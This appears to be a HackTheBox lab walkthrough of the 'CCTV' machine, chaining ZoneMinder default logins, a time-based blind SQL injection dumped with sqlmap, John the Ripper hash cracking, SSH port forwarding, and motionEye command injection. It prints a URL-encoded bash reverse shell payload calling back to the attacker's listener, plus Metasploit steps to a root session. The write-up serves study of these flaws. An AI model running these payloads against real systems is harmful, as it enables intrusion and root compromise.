HackTheBox: CCTV - ZoneMinder SQLi, SSH Pivot & motionEye RCE to Root
HackTheBox2026-03-07

HackTheBox: CCTV - ZoneMinder SQLi, SSH Pivot & motionEye RCE to Root

Introduction

Welcome back to another deep-dive walkthrough. Today we're tackling CCTV, a machine from HackTheBox Season 10. This box is a multi-stage exploitation challenge that chains together:

  • ZoneMinder default credential access
  • Time-based blind SQL injection in the tid parameter to dump database credentials
  • Password hash cracking with John the Ripper
  • SSH port forwarding to pivot into internal services
  • motionEye command injection via the picture_filename parameter for a root shell

Let's break it down.

1. Enumeration & Reconnaissance

Nmap Scan

We begin by scanning the target system using Nmap:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $nmap -sC -sV -T4 cctv.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-07 01:15 UTC
Nmap scan report for cctv.htb (10.129.X.X)
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.32 seconds

Service Analysis

Two services are exposed:

PortServiceDescription
22SSHOpenSSH 9.6p1 — requires credentials
80HTTPApache 2.4.58 — main attack surface

Since SSH requires credentials, the web application becomes the main attack surface.

Web Discovery & Hosts Configuration

Opening the IP in the browser redirects to http://cctv.htb/. Added the domain to /etc/hosts:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $sudo nano /etc/hosts
# Entry added:
10.129.X.X cctv.htb

Navigating to http://cctv.htb presents a CCTV security platform landing page.

2. Foothold: ZoneMinder Default Credentials

Web Enumeration

While exploring the website, we discover the following path:

TERMINAL_CODE
http://cctv.htb/zm

This reveals a ZoneMinder login panel — a web-based surveillance management system.

Default credentials allow immediate access:

TERMINAL_CODE
admin : admin

3. SQL Injection

After authentication, we identify a vulnerable endpoint:

TERMINAL_CODE
/zm/index.php?view=request&request=event&action=removetag&tid=1

The tid parameter is not properly sanitised and is vulnerable to time-based blind SQL injection.

Exploiting with SQLMap

Grab the session cookie from the browser (Developer Tools → Storage → Cookies → copy ZMSESSID value) and confirm the injection with SQLMap:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=<session>" \
-p tid --technique=T --time-sec=5 --batch
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.3#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[*] starting @ 01:43:11
[01:43:11] [INFO] testing connection to the target URL
[01:43:12] [INFO] testing if the target URL content is stable
[01:43:12] [INFO] parameter 'tid' appears to be injectable
[01:43:14] [INFO] time-based blind injection confirmed (sleep time=5s)
[01:43:14] [INFO] GET parameter 'tid' is 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
sqlmap identified the following injection point(s):
---
Parameter: tid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: view=request&request=event&action=removetag&tid=1 AND SLEEP(5)
---

SQLMap confirms the injection. Now let's dump the credentials.

Dumping Database Credentials

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=<session>" \
-p tid -D zm -T Users -C Username,Password \
--dump --batch
[01:55:22] [INFO] fetching entries of column(s) 'Username, Password' for table 'Users' in database 'zm'
[01:55:22] [WARNING] time-based comparison requires reset of statistical model, please wait..
[02:01:48] [INFO] retrieved: admin
[02:08:14] [INFO] retrieved: mark
[02:15:02] [INFO] retrieved: superadmin
Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username   | Password                                                     |
+------------+--------------------------------------------------------------+
| admin      | $2y$10$<hash>                                                |
| mark       | $2y$10$<hash>                                                |
| superadmin | $2y$10$<hash>                                                |
+------------+--------------------------------------------------------------+

Three bcrypt hashes extracted. Time to crack them.

Hash Cracking with John the Ripper

The hashes are bcrypt ($2y$). Save them to a file and crack with John against rockyou.txt:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $cat hashes.txt
$2y$10$<admin_hash>
$2y$10$<mark_hash>
$2y$10$<superadmin_hash>

└──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads

opensesame       (mark)
1g 0:01:42:38 DONE (2026-03-07 03:26) 0.000163g/s 93.42p/s
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Password cracked: opensesame for user mark.

4. Initial Access: SSH as mark

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $ssh mark@cctv.htb
mark@cctv.htb's password: opensesame
Last login: Fri Mar  7 00:12:44 2026
mark@cctv:~$ whoami
mark

We now have low-privileged access on the system.

5. Local Enumeration

Checking Internal Services

TERMINAL_CODE
mark@cctv:~$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program
tcp        0      0 127.0.0.1:7999          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8765          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9081          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -

Three internal services are bound to localhost: 7999, 8765, and 9081. None of these appeared in the external Nmap scan — they are completely invisible from outside. The service on port 8765 corresponds to motionEye.

motionEye Service Analysis

TERMINAL_CODE
mark@cctv:~$ cat /etc/systemd/system/motioneye.service
[Unit]
Description=motionEye Server
After=network.target

[Service]
User=root
ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf
Restart=on-failure

[Install]
WantedBy=multi-user.target

Key finding: The service runs as User=root. Any command executed through motionEye will run with root privileges.

motionEye Configuration

TERMINAL_CODE
mark@cctv:~$ cat /etc/motioneye/motioneye.conf
listen 127.0.0.1
port 8765

motion_control_localhost true
motion_control_port 7999
SettingMeaning
listen 127.0.0.1motionEye only accessible locally
port 8765Web interface port
motion_control_port 7999Internal motion control API

This explains why neither service appeared in the Nmap scan.

Admin Credentials in Config

TERMINAL_CODE
mark@cctv:~$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

The motionEye administrator credentials are hardcoded in the config file — these will be used with the Metasploit method.

6. Port Forwarding

Since both services only listen on localhost, we use SSH local port forwarding to bring them to our attacker machine. Open two terminal tabs:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $ssh -L 8765:127.0.0.1:8765 mark@cctv.htb
TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $ssh -L 7999:127.0.0.1:7999 mark@cctv.htb

Both services are now accessible locally on our machine:

TERMINAL_CODE
http://127.0.0.1:8765   →  motionEye web dashboard
http://127.0.0.1:7999   →  motion control API

7. Privilege Escalation — Method 1 (Manual Exploit)

The internal motion control API on localhost:7999 exposes a config set endpoint. The picture_filename parameter is passed directly to a shell command without sanitisation — a classic command injection vector.

Since motionEye runs as root, our injected command executes as root.

Exploit Steps (Order Matters)

Warning: This is one of those exploits where step order is critical. Most failed attempts skip the emulate_motion step.

Step 1: Start your listener first:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444

Step 2: Enable picture output:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $curl "http://127.0.0.1:7999/1/config/set?picture_output=on"

Step 3: Inject the reverse shell payload via picture_filename (URL-encoded):

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $curl "http://127.0.0.1:7999/1/config/set?picture_filename=%24%28bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/YOUR-IP/4444%200%3E%261%27%29"

Decoded payload: $(bash -c 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1')

Step 4: Enable motion trigger — this is the step most people miss:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $curl "http://127.0.0.1:7999/1/config/set?emulate_motion=on"

Step 5: Trigger the snapshot to execute the payload:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $curl "http://127.0.0.1:7999/1/action/snapshot"

Shell Caught

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.X.X
root@cctv:/#

We are root.

8. Privilege Escalation — Method 2 (Metasploit)

The same vulnerability can be exploited using Metasploit. This approach uses the motionEye web dashboard on port 8765 directly (via the forwarded tunnel) with the admin credentials we found in motion.conf.

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/CCTV]
└──╼ $msfconsole

Search for the module:

TERMINAL_CODE
msf6 > search motioneye

Matching Modules
================

   #  Name                                                       Disclosure Date  Rank       Check  Description
   -  ----                                                       ---------------  ----       -----  -----------
   0  exploit/linux/http/motioneye_auth_rce_cve_2025_60787                        excellent  Yes    motionEye Authenticated RCE via picture_filename Command Injection

Load and configure:

TERMINAL_CODE
msf6 > use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
msf6 exploit(...) > set RHOSTS 127.0.0.1
msf6 exploit(...) > set RPORT 8765
msf6 exploit(...) > set USERNAME admin
msf6 exploit(...) > set PASSWORD 989c5a8ee87a0e9521ec81a79187d162109282f0
msf6 exploit(...) > set LHOST tun0
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > run

[*] Started reverse TCP handler on 10.10.14.X:4444
[*] Authenticating to motionEye at 127.0.0.1:8765
[+] Authentication successful
[*] Injecting payload into picture_filename parameter
[*] Triggering snapshot...
[*] Sending stage (3045348 bytes) to 10.129.X.X
[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: root

A Meterpreter session opened with root privileges.

9. Flags

Since we now have root access, both flags can be retrieved.

User Flag

TERMINAL_CODE
root@cctv:/# cat /home/sa_mark/user.txt
[Redacted]

🏁 User Flag: [Redacted]

Root Flag

TERMINAL_CODE
root@cctv:/# cat /root/root.txt
[Redacted]

🏁 Root Flag: [Redacted]

Attack Chain Summary

TERMINAL_CODE
Nmap Scan
   ↓
Web Enumeration → /zm
   ↓
ZoneMinder Login (admin:admin)
   ↓
SQL Injection (tid parameter)
   ↓
Database Credential Dump
   ↓
Hash Cracking (john + rockyou.txt)
   ↓
SSH Access (mark:opensesame)
   ↓
Local Service Enumeration
   ↓
SSH Port Forwarding (7999, 8765)
   ↓
motionEye Exploit (picture_filename RCE)
   ↓
Root Shell
   ↓
Read user.txt + root.txt

Summary & Takeaways

StepTechniqueTool
ReconNmap TCP scannmap
Web EnumDirectory browsing → /zm ZoneMinder panelBrowser
AccessDefault credentials admin:admin
SQLiTime-based blind injection on tid parameterSQLMap
Hash Crackbcrypt cracked with rockyou.txtJohn the Ripper
SSH AccessLogin as mark with cracked passwordSSH
PivotSSH local port forwarding (-L) to expose internal servicesSSH
RCEpicture_filename command injection — motionEye runs as rootcurl / Metasploit
RootReverse shell / Meterpreter as rootnc / msfconsole

CCTV is a great box that demonstrates how a chain of individually simple issues — default credentials, unsanitised SQL, misconfigured internal services running as root — can combine into a full system compromise. The motionEye exploit is satisfying because the emulate_motion step is non-obvious and trips up a lot of people. Read the API carefully before trying to fire.

Key lessons:

  • Default credentials are always worth trying — never skip them even on "security" platforms.
  • Internal services bound to localhost are invisible to external scans but are often the most vulnerable parts of a system.
  • Exploit ordering matters: enable output → inject payload → enable motion → trigger snapshot. Skip any step and nothing fires.

If you have any questions or want to discuss this walkthrough, feel free to reach out on Twitter / X or use the interactive terminal on this site!

Mission Accomplished. 🏁

Disseminate_Intel:
Tags
##HTB##CCTV##ZoneMinder##SQLi##motionEye##CommandInjection##PortForwarding##Season10

Transmission Complete

If you found this writeup helpful, feel free to reach out for collaborations or security discussions.

INITIATE_CONTACT